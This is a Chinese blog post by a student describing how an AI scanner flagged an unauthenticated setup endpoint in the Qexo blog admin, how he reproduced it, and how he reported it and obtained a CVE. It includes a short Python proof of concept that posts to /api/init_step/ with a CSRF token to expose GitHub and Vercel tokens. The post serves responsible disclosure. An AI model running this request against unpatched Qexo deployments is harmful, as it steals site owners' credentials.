Article

我是如何水到 Qexo 的一个高危漏洞的(9.3分)?

网络安全发布于
#Qexo#网络#渗透测试#代码审计#AI#攻防#网络安全#Github#Vercel

初见端倪H1#

使用平台扫描到漏洞H2#

看某公众号的文章时偶然发现长亭旗下的MonkeyScan平台正在进行公测(注册就送3000 Credits,200行1个credit),本着可以不用但不能没有的心态,就注册了一个玩玩,先被我测试的是mx-space/core(因为我自己博客在用),但有价值的似乎就一个头像链内链引发的SSRF(实测下来其实无价值)然后又测试了下Tinder

突然间Qexo就冒到我脑海中(虽说hexo我也有好久没用了,但Qexo我毕竟贡献过代码),就扔后台扫了扫,这回高危列表里有一个吸引了我:

未认证用户也可触发?有点意思啊。于是立即尝试复现

尝试复现H2#

(由于之前的Qexo被我删了,重新部署就遇到了问题)

立即进行相关设置,进入后台
结果我忘记抓包保存了……,等到后面耽误了点时间。

首先在浏览器中访问 ~/api/init_step/ 但返回404,查阅代码发现要用POST请求
于是乎打开ApiFox,发送……

什么!? CSRF不通过?CSRF是什么啊?

CSRF(Cross-Site Request Forgery),即跨站请求伪造,是一种网络安全攻击。

简单来说,攻击者诱导用户在已登录目标网站(如银行、邮箱)的情况下,点击恶意链接或访问攻击者控制的网站,从而在用户不知情时,借用其身份向目标网站发送一个伪造请求(如修改密码、转账)。由于请求携带了用户的登录凭证,目标网站会误以为是用户的合法操作。

常见的防御手段包括使用CSRF Token(要求请求附带服务器生成的随机令牌)、设置Cookie的SameSite属性(限制第三方请求携带Cookie),或通过验证Referer头等来检查请求来源。

交给ChatGPT问了下,好烦,就用Python复现了吧。

python
import requests

BASE_URL = "https://admin.trfox.top"

session = requests.Session()

# 1️⃣ 访问首页获取 CSRF
resp = session.get(BASE_URL)

csrftoken = session.cookies.get("csrftoken")
print("CSRF Token:", csrftoken)

# 2️⃣ 正确请求 Step 1
url = BASE_URL + "/api/init_step/"

headers = {
    "Referer": BASE_URL + "/",
    "X-CSRFToken": csrftoken,
    "X-Requested-With": "XMLHttpRequest",
}


response = session.post(url, headers=headers)

print("Status:", response.status_code)
print("Response:", response.text)

结果又遇到问题:返回信息如下(操作失败):

json
{
    "msg": "\u64cd\u4f5c\u5931\u8d25!",
    "status": false,
    "current_step": null,
    "context": {}
}

Why? 遂返回平台阅读细节,原来请求时有一个data要发送,格式如下:

json
{
    "step": "1",
    "language": "zh_CN",
    "csrfmiddlewaretoken": csrftoken,
}

修改代码,运行成功,此时访问Qexo,可以看到:

没错,Github 和 Vercel Token 直接暴露在了前端,全程无需认证,无需管理员点击,即可看到 Token。

(其实初期看到报告以为只是能创建新的管理员并覆盖旧设置(理论上把上面的data修改为step=2,并附加相关数据即可),但没想到最终结果竟然是拿到Github和Vercel Token进行进一步的利用,也算是远超预期了吧。)

联系作者H1#

由于Qexo当时还没有设置security policy,于是在QQ上联系了abudu:


(双方都是高三生,都好忙)

一番设置后成功进入 report vulnerable 界面,开始写相关报告(因为这个漏洞触发太简单了,所以一开始的报告相当简略):

根据CVSS4.0标准,这个漏洞拿到了9.3分!!!

指标含义取值说明
AV (Attack Vector)攻击向量N (Network)可通过网络远程发起攻击
AC (Attack Complexity)攻击复杂度L (Low)攻击条件简单
AT (Attack Requirements)攻击前提条件N (None)无额外前提
PR (Privileges Required)所需权限N (None)无需权限
UI (User Interaction)用户交互N (None)不需要用户参与
VC (Vulnerable System Confidentiality)机密性影响(漏洞系统)H (High)高机密性影响
VI (Vulnerable System Integrity)完整性影响(漏洞系统)N (None)无完整性影响
VA (Vulnerable System Availability)可用性影响(漏洞系统)N (None)无可用性影响
SC (Subsequent System Confidentiality)后续系统机密性影响H (High)可影响其他系统机密性
SI (Subsequent System Integrity)后续系统完整性影响H (High)可影响其他系统完整性
SA (Subsequent System Availability)后续系统可用性影响H (High)可影响其他系统可用性

CWE的话则是:

  • Improper Access Control (CWE-284)
  • Insufficiently Protected Credentials (CWE-522)
  • Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
  • Missing Authentication for Critical Function (CWE-306)

进入修复流程H1#

abudu 5月1号傍晚挺忙的,但他挺注意这件事,在当晚一有空就立即修复了相关漏洞(点赞)。


漏洞正式被披露&领到CVE编号H1#

  • 5月2号PR被合并,Qexo 4.2.0发布
  • 5月8号CVE被正式发放,编号为:CVE-2026-44828
  • 6月15号漏洞正式在Github予以披露

总结:H1#

这回也确实算是撞大运了吧,恰好用AI扫到了这个漏洞(而且是超高危的),然后恰好也对这方面略熟悉,立刻提交了漏洞(这种机会真的是先到先得),但对攻击者亦是如此。

Abudu 说这应该是前段时间vibe时出现的问题,不得不感慨AI对大型工程的理解与安全控制方面还有相当多欠缺。

不过好在Qexo4目前的用户暂时不多,而且被我(啊不对是AI)率先发现了,报告给作者(自豪),没有太大影响,但还是建议各位立刻升级。

这枚CVE编号,就算是我18岁的生日礼物吧(感觉是最有价值的一个了)。

Copyright & License
© NaN Teror Fox
我是如何水到 Qexo 的一个高危漏洞的(9.3分)?
CC知识共享许可
BY署名:必须保留原作者署名
NC非商业:禁止用于商业目的
SA相同方式共享:以同协议发布
许可协议:署名-非商业性使用-相同方式共享
Teror Fox
Teror Fox离线